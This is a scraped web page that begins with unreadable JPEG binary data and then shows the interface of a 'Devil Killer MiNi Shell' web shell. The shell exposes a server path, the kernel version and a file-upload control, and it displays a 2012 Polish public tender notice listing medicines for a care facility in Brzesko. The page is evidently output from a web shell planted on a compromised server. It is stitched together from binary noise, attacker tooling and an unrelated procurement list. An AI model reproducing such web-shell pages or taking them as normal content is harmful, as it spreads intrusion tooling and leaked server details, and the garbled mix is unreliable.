JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120525/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120525/173392-N-2012.html

<p class="kh_header"><b>Brzesko: DOSTAWA LEKÓW DLA POWIATOWEGO PUBLICZNEGO ZAKŁADU OPIEKUŃCZO - LECZNICZEGO</b><br>
<b>Numer ogłoszenia: 173392 - 2012; data zamieszczenia: 25.05.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Powiatowy Publiczny Zakład Opiekuńczo-Leczniczy w Brzesku , ul. Tadeusza Kościuszki 33, 32-800 Brzesko, woj. małopolskie, tel. 14 663 01 09.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.ppzolbrzesko.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: POWIATOWY PUBLICZNY ZAKŁAD OPIEKUNCZO - LECZNICZY.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> DOSTAWA LEKÓW DLA POWIATOWEGO PUBLICZNEGO ZAKŁADU OPIEKUŃCZO - LECZNICZEGO.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Nr poz.	Nazwa 	Ilość op. na 2 lata 
1	Acard 75mg 60tabl.dojelit. 	400
2	Paski test.ACCU-CHEK Active Glucose 50sz	160
3	Acenocumarol WZF 4 mg 60 tabl.	4
4	Acidum folicum 5mg 30tabl(bl)	100
5	Aclotin 250 mg 20 tabl.powl.	2
6	Alantan maść 30 g 	240
7	Alantan PLUS krem 35 g 	20
8	Alantan zasypka 100 g 	4
9	Alax 20 tabl.draż. 	360
10	Alendronatum Farmacom 70mg 4 tabl.	2
11	Alfadiol 0,25mcg 100 kaps.mięk.(blis.)	20
12	Alermed 10 mg 20 tabl.powl. (2blist.)	300
13	Altacet 6tabl.(pudełko) 	50
14	Altacet 1% żel 75g 	180
15	Amitriptylinum VP 10 mg 60tabl.powl.	160
16	Amizepin 200mg 50 tabl.(blis)	150
17	Amlopin 10mg 30tabl.	50
18	Amlopin 5mg 30tabl.	60
19	Amoksiklav 1.2g 5 fiolek	1200
20	Amoksiklav 1000 mg 14 tabl.powl.	100
21	Amoksiklav 625 mg 14 tabl.powl.	10
22	Anafranil 75mg 20 tabl.powl.o p.uwal	4
23	Anastralan 1mg 28tabl.powl.(2bl.)	1
24	Aphtin 10 g 	200
25	Aqua pro inj. 10 ml 100 amp. (poliet.)	10
26	Woda do wstrzyk.250ml poj. 	200
27	Argosulfan 2% (20mg/g) krem 40g 	300
28	Arimidex 1 mg 28 tabl.powl. 	1
29	Asentra 50mg 28tabl.powl.I	1
30	Aspargin 50 tabl. 	20
31	Addamel 10 ml 20 amp	2
32	Apo - Tamis 0,4mg 30 kaps	4
33	Apo-Flutam 250mg 90 tabl. powl	2
34	Asmag 50 mg 30 tabl	6
35	Atecortin 5 ml	6
36	Aulin 100mg 30 tabl	2
37	Axtil 5mg 30 tabl	5
38	Axtil 10mg 30 tabl	5
39	Axtil 2,5mg 30 tabl	5
40	Azitro -Lek 500mg 3 tabl powl	10
41	Carvedilol-Ratiopharm 6,25mg 30tabl.powl	10
42	Carvetrend 6,25 mg 30 tabl. 	5
43	Atropinum sulfuricum inj.1mg/ml 10a	4
44	Azulan płyn 100 ml 	4
45	Avedol 6,25mg 30 tabl.powl.	200
46	Baclofen Polpharma 10 mg 50 tabl.	100
47	Baclofen Polpharma 25 mg 50 tabl.	20
48	Bactroban maść 20mg/g 15g	5
49	Baneocin maść 20g	5
50	Bellapan 0.25 mg 20 tabl. 	5
51	Bemecor 100mcg 30 tabl. 	30
52	Berotec 100 N aerozol 10ml	10
53	Beto 50 ZK 28 tabl.o przedł.uwal.	100
54	Biodacyna inj.250mg/ml(0.5g/2ml) 1fi.	400
55	Biofuroksym inj. 1.5 g	550
56	Bioxetin 20 mg 30tabl.	2
57	Bisacodyl 5 mg 30 tabl.dojelit.	4
58	Bisacodyl 10mg 5 czop. 	100
59	Biseptol 960 10 tabl.(blister)	40
60	Biseptol 480 inj. 10 amp.po 5ml 	60
61	Boldaloin 30 tabl. blist	5
62	Butapirazol maść 50mg/g 30g	20
63	Berodual płyn d/inh.z nebulizatora 20 ml	50
64	Betadine roztwór na sk. 100mg/ml 1000ml	2
65	Biotum 1 g 1 fiolka	1
66	Biotum 500mg 1 fiolka	1
67	Biotum 2g 1 fiolka	1
68	Bisocard 2,5 mg 30 tabl	25
69	Bisocard 10 mg 30 tabl	12
70	Bisopromerck 5 5 mg 30tabl.powl	12
71	Calcium C 12+2 t.mus.pomar.	5
72	Calcium chloratum inj. 10% 10 ml 10a.	10
73	Calperos 1000mg 100 kaps.	4
74	Captopril 25mg 30tabl.(blistry)	4
75	Cavinton forte 10 mg 30 tabl.	4
76	Chlorprothixen 0.015g 50tabl.pow.	1
77	Chlorprothixen 0.05g 50tabl.pow.	1
78	Cinnarizinum 25mg 50tabl (2bl)Aflofarm	5
79	Cipronex inj.2mg/ml 100ml	800
80	Cipronex 500 mg 10 tabl.powl.(blister)	200
81	Clemastinum 1mg 30 tabl.	1
82	Clotrimazolum 1% krem 20g 	50
83	Clotrimazolum 1% 10mg/ml płyn15ml 	10
84	Cordarone 200 mg 30 tabl. 	2
85	Cordarone inj.150mg/3ml 6amp.	1
86	Corhydron 100 inj. 100Mg 5 fiol.+rozp.	150
87	Crotamiton maść 40 g 	100
88	Cardura XL 4mg 30 tabl. o zmod.uwal.	1
89	Caloperos 1000mg 200 kaps	1
90	Catalin krople do oczu 15 ml	1
91	Cernevit 10 fiol	1
92	Chlorchinaldin VP 2mg x 20 tabl	8
93	Coaxil 12,5mg 30 tabl.powl	2
94	Cocarboxylasum 50mg 5amp+rozp	2
95	Colistin inj.1.000.000j.m. 20 fiol	40
96	Cutivate krem 0,5mg/g 15g	1
97	Czopki glicerolowe 2g 10szt.	200
98	Cyclonamine 0.25 g 30 tabl.	40
99	Cyclonamine inj. 12.5% 2ml 50amp.	100
100	Klimicin 300 mg 2 ml 5 amp.	4
101	Deflegmin 75mg 10kaps.o przedł.uw.	10
102	Depakine Chrono 500 30tbl.pow.o p.uw(bl)	40
103	Depakine Chrono 300 30tbl.pow.o p.uw(bl)	40
104	Detreomycyna 1% maść 5 g 	20
105	Dexaven inj. 4mg / 1ml 10 amp. 	200
106	Dexaven inj. 8mg / 2ml 10 amp. 	150
107	Diaprel MR 30mg 60tabl.o zmod.uwal.	20
108	Dicortineff krople do oczu i uszu 5ml	20
109	Diclac inj. 75mg/3ml 5 amp.	60
110	Dicortineff krople do oczu i uszu 5ml	4
111	Digoxin inj. 0,25mg/ml 2ml 5amp. 	4
112	Diuresin SR 1,5 mg 30tabl.pow.o p.u(3bl)	60
113	Dopegyt 250mg 50tabl.	40
114	Dopaminum h/chl. 4% 200mg/5ml 10a.	10
115	Doxepin 25 25mg 30 kaps.twarde (blis.)	10
116	Dalacin C 300 mg 16 kaps ( 2 bl)	2
117	Doreta 37,5 mg + 325mg 20 tabl	3
118	Doxepin 10 mg 30 kaps.twarde	2
119	Diflucan inj. 2 mg/1ml 50 ml 	60
120	Diflucan inj. 2 mg/1ml 100 ml 	60
121	Doxycyclinum 100mg 10 kaps.twar.	60
122	Duomox 1000mg 20 tabl.	50
123	Ospamox 250mg/5ml pr.d.sp.zaw.6,6g/60ml	10
124	Ospamox 500mg/5ml pr.d.sp.zaw.12g/60ml	10
125	Egistrozol 1 mg 28 tabl. powl	1
126	Enarenal 5 mg 30 tabl	20
127	Effox 20mg 50 tabl. 	30
128	Effox long 50mg 30tabl.o przedł.uw.	30
129	Mapryl 10 mg 60 tabl. 	20
130	Mapryl 5 mg 60 tabl. 	20
131	Encorton 5 mg 100 tabl.(fiolka)	10
132	Adrenalinum WZF 0,1%inj.1mg/1ml 10amp.	5
133	Espumisan 40mg 100 kaps.(blist.)	50
134	Euthyrox N 75 75 mcg 100 tabl.	5
135	Fibrolan maść 25 g	20
136	Flegamina syrop o sm.miętowym 120ml	500
137	Fenactil 4% ( 40 mg/g) krople 10 g	20
138	Fluconazin syrop 5mg/ml 150 ml	10
139	Ferrum Lek 100mg 30 tabl	2
140	Ferum Lek syrop 50mg/5ml 100ml	2
141	Fraxiparine 0.6ml 5700j 10amp-strz.	30
142	Flucofast 50mg 7 kaps.	30
143	Fluconazole 50mg 14tabl.blis.	30
144	Forcid 1000 1000mg 14tabl.do sp.zaw.dou	2
145	Furaginum 50mg 30 tabl.	120
146	Furosemidum inj.20mg/2ml 50 amp.	120
147	Furosemidum 40mg 30 tabl. 	200
148	Gabapentin 100mg 100 kaps	1
149	Gabapentin 300mg 100 kaps	1
150	Gabapentin 400mg 100 kaps	1
151	Gabapentin 600mg 100 kaps	1
152	Gabapentin 800mg 100 kaps	1
153	Gensulin M 30 zaw.100j.m./ml 5wkła.3ml	10
154	Gensulin N zaw.100j.m./ml 5wkład. 3ml 	10
155	Gensulin R rozt.100j.m./ml 5 wkład. 3Ml	10
156	Gencjana-1% wodny roz.fiol.genc.20g 	10
157	Gentamycin inj.80mg/2ml 10 amp. 	300
158	Gliceryna 1000 g 86% 	20
159	Glucosum inj. 5% 500ml poj.	1000
160	Haloperidol WZF inj.5mg/1ml 10 amp.	40
161	Haloperidol WZF 0,2%2mg/ml kr.doust.10ml	60
162	Haloperidol WZF 1 mg 40 tabl.(2bl.)	160
163	Hemofer prol. 30 tabl.o przed.uw. 	90
164	Hemorectal 10 czop.	60
165	Heparinum 5000jm/ml 10fiol.po 5ml 	10
166	Hydrocortisonum Homeof. krem 10mg/g 15g	20
167	Hydroxyzinum 10mg 30 tabl.powl.	200
168	Hydroxyzinum 25mg 30 tabl.powl.	200
169	Hydroxyzinum inj. 0.1g/2ml 5amp.	10
170	Hydroxyzinum Espefa syr10mg/5ml 250g b/k	100
171	Hygroton 50mg 20tabl.(2bl)	5
172	Ibuprofen-Pabi 200mg 60tabl.draż.(3bl)	200
173	Imovane 7,5 mg 20tabl.powl. (1blist.)	4
174	Insul.actrapid 100j/ml 5pen 3 ml	4
175	Insul.Insulatard 100j/ml 3ml 5penf+ig	4
176	Insul.mixtard 30 100j/ml 3ml 5penf+ig	4
177	Insul.NovoRapid Penf.100j/ml 3ml 5wkł. 	4
178	Inhibace 5mg 28 tabl	20
179	Isoptin SR 120mg 40tabl.o przed.uwal.	4
180	Kaldyum 600 mg 100 kaps.o przed.uw.tw.	10
181	Kalipoz prolongatum 30tabl.o przed.uwal.	40
182	Kalium efferv. b/cukr.3g 20sasz 	10
183	Kalium chlor.15% inj.20ml 10fiol.	100
184	Kamiren 4 mg 30 tabl. 	4
185	Ketokonazol 200mg 10tabl.(bl)	10
186	Ketonal 50mg 30 tabl	400
187	Ketonal amp.100mg / 2ml 10 amp.	200
188	Ketonal forte 100mg 30 tabl.powl.	250
189	Ketonal Lek 2,5% żel 100g	10
190	Krople miętowe 35 g 	10
191	Krople żołądkowe 35 g 	1
192	Lactulol syr.2,5g/5ml 150ml 	600
193	Lerivon 30 mg 30 tabl.powl.	2
194	Lignocainum U żel 2% 30g 	60
195	Lignocainum h/chlor. 2% 2 ml 10 amp	2
196	Lisinoratio 10 10 mg 30 tabl	1
197	Lucetam 1200 mg 60 tabl. powl.	150
198	Linomag 20% 200mg/g krem 30g (tuba)	20
199	Loperamid WZF 2mg 30 tabl.	60
200	Losartan Arrow 50mg 30tabl.powl.	1
201	Madopar 62.5mg 100 kaps.(50mg+12.5mg)	10
202	Madopar 125mg 100 kaps.(100mg+25mg)	60
203	Dicloratio 50 50 mg 20 tabl.dojel.	20
204	Mannitol inj.20% 250ml fl.sz	800
205	Maść z witaminą A 30g 	350
206	Mefacit 250 mg 30tabl.(3blis.10tabl)	10
207	Multimel N4-550E 2000ml 4 worki 	20
208	Multimel N6-900E 1500ml 4 worki 	5
209	Multimel N7-1000E 2000ml 4 worki 	2
210	Methocarbamol 0.5 g 50 tabl.	3
211	Metizol 5 mg 50 tabl.	10
212	Metoprolol VP 50 mg 30 tabl.	4
213	Metoclopramidum 10mg 50 tabl.	70
214	Metoclopramidum inj.10mg/2ml 5amp.	400
215	Metypred 4mg 30tabl.	50
216	Deprexolet 10mg 30 t.powl.(blis)	400
217	Milocardin krople 15 g	5
218	Milurit 100 mg 50 tabl.	5
219	Molsidomina 2 mg 30 tabl. 	5
220	Woda utleniona 1000g 3% 	20
221	Morphini sulf.WZF inj.10mg/ml 10amp	10
222	Mannitol inj.20% 100ml fl.sz	800
223	Madopar 125HBS 125mg 100 kaps	50
224	Metformax 500mg 30 tabl	2
225	Metocard 50 mg 30 tabl	2
226	Metronidazol 250mg 20 tabl	30
227	Metronidazol 0,5% 100 ml	2500
228	Miansec 30 mg 20 tabl.powl	4
229	Mirtastad 30 mg 30 tabl. powl	4
230	Miligamma N 2 ml 5 amp	30
231	Mononit 60 mg 28 tabl	30
232	Nilogrin 10 mg 30 tabl. powl	20
233	Nimesil 100mg 30 torebek	30
234	Nitrendypina 10 mg 30 tabl	15
235	Nitrendypina 20 mg 30 tabl	10
236	Natrium chlor.inj. 10% 10 ml 100 amp	200
237	Nakom 25mg/250mg 100tabl.	4
238	Naproxen 250mg 50 tabl. 	140
239	Naproxen żel 10% 50 g 	100
240	Natrium bicarbon. inj.8.4% 20ml 10amp.	1
241	Natrium chlor. inj.0.9% 10ml 100amp plas	500
242	Natrium chloratum inj.0.9%100ml 	3000
243	Natrium chloratum inj.0.9%250ml 	2000
244	Natrium chloratum inj.0.9%.500ml 	1000
245	Neo-Pancreatinum Forte 20 kaps.dojelit.	100
246	Nifuroksazyd 100 mg 24 tabl	20
247	Nitroglicer.0.5mg 20 tabl.p/jęz	5
248	No-Spa 20mg/ml(40mg/2ml) 5 amp.	80
249	Galospa 40mg 20tabl.	150
250	No-Spa Forte 80mg 20 tabl.	150
251	Nystatyna zaw.2.400.000jm/5g 24ml!	150
252	Oxycort aerozol 30ml ( 16,125g)	5
253	Paracetamol 500 mg 20 tabl.	200
254	Paracetamol czop.500mg 10(2bl.)	15
255	Rec.-Parafina ciekła 800g 	10
256	Pernazinum 25mg 20 tabl. 	800
257	Phenazolinum 50mg/ml 10amp.po 2ml	5
258	Pimafucort maść 15g 	30
259	Płyn wieloel.fizj.izot. 500ml 	1000
260	Polfilin prolong.400mg 60tabl.o przed.uw	220
261	Polhumin Mix -3 100 j.m./ml 3ml 5wkł. 	4
262	Polhumin N 100j.m./ml 3ml 5wkł. 	4
263	Polhumin R 100 j.m./ml 3ml 5wkł. 	4
264	Povidone Iodine solutio 10% 250ml	20
265	Polprazol 20mg 14 kaps.doj.tw.(blis.)	400
266	Polprazol 40mg 28kaps.dojelt.tw. 	200
267	Poltram 50mg 20kaps.	200
268	Poltram 100 100mg/2ml 5amp.	600
269	Poltram krople 100mg/ml 96ml z dozow	40
270	Pramolan 50mg 20 tabl.powl.	50
271	Pridinol 5mg 50 tabl.	5
272	Promazin 25mg 60 tabl.draż. 	4
273	Promazin 50mg 60 tabl.draż. 	4
274	Pulmicort zaw.0,5mg/ml 2ml 20szt. 	20
275	Pyralginum inj. 1 g/2 ml 5 amp.	15
276	Pyralginum inj.2.5 g/5 ml 5 amp.	100
277	Pyralgina 500mg 6tabl. 	10
278	Ranigast sol.pro infus. 0.05% 100ml	1000
279	Płyn Sol.Ringeri 500ml poj.	700
280	Rivanol 0.1% roztwór 500g 	20
281	Rivanolum 100mg 5 tabl.d/sp.r-ru	20
282	Sachol żel stomatologiczny 10 g	40
283	Salbutamol inj. 0.5mg/1ml 10amp.	5
284	Ventolin aerozol wziewny 100mcg/d. 200d.	10
285	Siofor 500 500mg 30tabl.powl.	10
286	Siofor 850 850mg 30tabl.powl.	10
287	Siofor 1000 1000mg 60tabl.powl.	10
288	Solcoseryl maść 20g	20
289	Spironol 100 mg 20 tabl.powl. blist.	100
290	Spironol 25 mg 100 tabl.	40
291	Rec.-Spir.kamfor.800g(plast)	100
292	Rec.-Spir.salicyl. 2% 800g 	20
293	Sulfacetamidum 10% krople d/oczu0.5ml 12	60
294	Tabulettae laxantes 20 tabl.	10
295	Taninal 500mg 20 tabl. 	10
296	Tardyferon-Fol 80mg30tabl.powl.o zm.uw.	10
297	Tegretol CR 200 mg 50tab.o zmod.uwal.	10
298	Tegretol CR 400 mg 30tab.o zmod.uwal.	10
299	Tetabulin S/D inj.250j.m.(amp-strzyk) 	2
300	Theospirex retard 300mg 50tab.o przed.uw	20
301	Thiocodin 10tabl.(1bl.) 	100
302	Ticlo 250 mg 20 tabl.powl.	5
303	Tisercin 25mg 50 tabl.powl.	5
304	Tolperis VP 50mg 90 tabl.powl. 	2
305	Tisercin 25mg/1 ml 10 amp	40
306	Torecan 6.5 mg 50 tabl.powl.	10
307	Torecan inj. 6.5mg/1ml 5 amp. 	150
308	Poltram 100 100mg/2ml 5amp. 	60
309	Venotrex 300mg 50 kaps.twarde 	5
310	Isoptin 5mg/2ml 5amp. 	1
311	Vinpocetine 5mg 50tabl.	120
312	Vitaminum C 100mg 50tabl.powl.	50
313	Zaldiar 37.5mg+325mg 10tabl.powl.	200
314	Zioła fix MIĘTA 1.5g 30 	5
315	Zioła fix RUMIANEK 1,5g 30 tabl	5
316	Lexotan 3 mg 30 tabl. 	5
317	Lazivir 150mg+300mg 60tabl.powl.(poj.)	1
318	Acetylcysteine 100mg/ml 3ml 5amp	50
319	Amitriptylinum VP 25 mg 60tabl.powl.	100
320	Aulin 100 mg 30 tabl	10
321	Betadine roztwór na sk.100mg/ml 1000ml	20
322	Biotrakson 2g fiolka 	100
323	Biseptol 480 inj. 10 amp.po 5ml 	20
324	Cavinton 5mg 50 tabl.Delfarma	5
325	Clexane inj. 40mg/0.4ml 10a-s. 	2
326	Dipeptiven 200mg/ml 50ml 	5
327	Depakine inj.400mg/4ml 4fiol.+rozp.	2
328	Euthyrox N 100 100 mcg 50 tabl.	10
329	Exacyl inj.doż.100mg/ml 5amp.po 5ml 	120
330	Ferrum Lek syrop 50mg 100ml	50
331	Fraxiparine 0.4ml 3800j 10amp-strz.	200
332	Glibetic 1mg 30tabl.(3bl) 	5
333	Glibetic 2mg 30tabl.(3bl) 	5
334	Glibetic 3mg 30tabl.(3bl) 	5
335	Glibetic 4mg 30tabl.(3bl) 	20
336	Glucobay 50 mg 30 tabl.	5
337	Glucosum inj. 5% 250ml 	500
338	Glucosum inj.10% 500ml 	200
339	Glucosum inj.20% 10 ml 50 amp. 	5
340	Glucosum inj.20% 500ml poj.	10
341	Glucosum inj.40% 10 ml 50 amp. 	10
342	Heviran 200mg 30tabl.powl. 	20
343	Iporel 75 mcg 50 tabl.	6
344	Lacidofil 200 kaps. 	80
345	Magnesium sulfuric.inj.20% 2g/10ml 10a	60
346	Megace zawiesina 40mg/ml 240 ml	40
347	Mirtastad 30mg 30tabl.powl.(3blis)	10
348	Nabuton 500 mg 20 tabl.	6
349	Nasen 10 mg 20 tabl.powl.(2blis.) 	10
350	Neurontin 100 100 mg 100 kaps.twarde	1
351	Neurontin 300 300 mg 100 kaps.twarde	20
352	Neurontin 600 600mg 100 kaps. Tward	20
353	Nitrazepam GSK 5mg 20tabl. 	120
354	Nitromint aer.podjęzyk.11g(200 dawek)	5
355	Nystatyna zaw.2.400.000jm/5g 24ml	100
356	Olej rycynowy 100g	15
357	Oxycort 10 g maść	10
358	Otinum krople do uszu 10 g	10
359	Oftensin 0,5% krople do oczu 5 ml	60
360	Quimax krople do oczu 5ml	10
361	Pamifos 60 mg 1 fiol + 1 amp.rozp	4
362	Pamifos 90 mg 1 f + 1a. Plas. Rozp	4
363	Polfenon 300mg 20 tabl. powl	100
364	Poltram Retard 100mg tabl	10
365	Polocard 75mg 30 tabl. dojelit	15
366	Polpril 5mg 28 tabl	5
367	Polpril 10mg 28 tabl	5
368	Polpril 2,5mg 28 tabl	5
369	Papaverinum h/chlor. Inj. 0,04g/2ml 10 amp	30
370	Propanolol 10 mg 50 tabl	6
371	Pabi-Dexamethason 1mg 20 tabl. 	100
372	Paracetamol czop.500mg 10(2bl.)	60
373	Paxtin 40 40mg 30tabl.powl.blist.	1
374 	Pernazinum 100mg 30 tabl. 	150
375	Perfalgan roz.do inf.10mg/ml 12 X 100ml	100
376	Piramil 5 mg 30 tabl. (3bl.)	50
377	Piramil 10 mg 28 tabl.	6
378	Rivastigmine Teva 3mg 28kaps.tward.	5
379	Rispolept 2 mg 20 tabl. powl	2
380	Sebidin 20 tabl	20
381	Sedam 3 3mg 30 tabl	10
382	Sorbifer durules 50 tabl powl	10
383	Sertagen 50mg 28 tabl. powl	30
384	Simvasterol 20 mg 28 tabl	30
385	Sulpiryd 50 mg 24 kaps twa. Blis.	20
386	Tensart 80mg (4 bl)	10
387	Tensart 160mg (4 bl)	40
388	Tarcefoksym inj. 1 g fiol 20 ml	150
389	Taromentin pr. d/sp roztw 1g + 0,2g 1 fiol	2000
390	Trusopt 2% Krople do oczu 5ml	24
391	Travocort krem 15 g	2
392	Tantum verde 1,5mg/ml aeroz.30ml 	10
393	Theophyllinum inj.doż.300mg250ml	200
394	Tormentiol maść 20 g	20
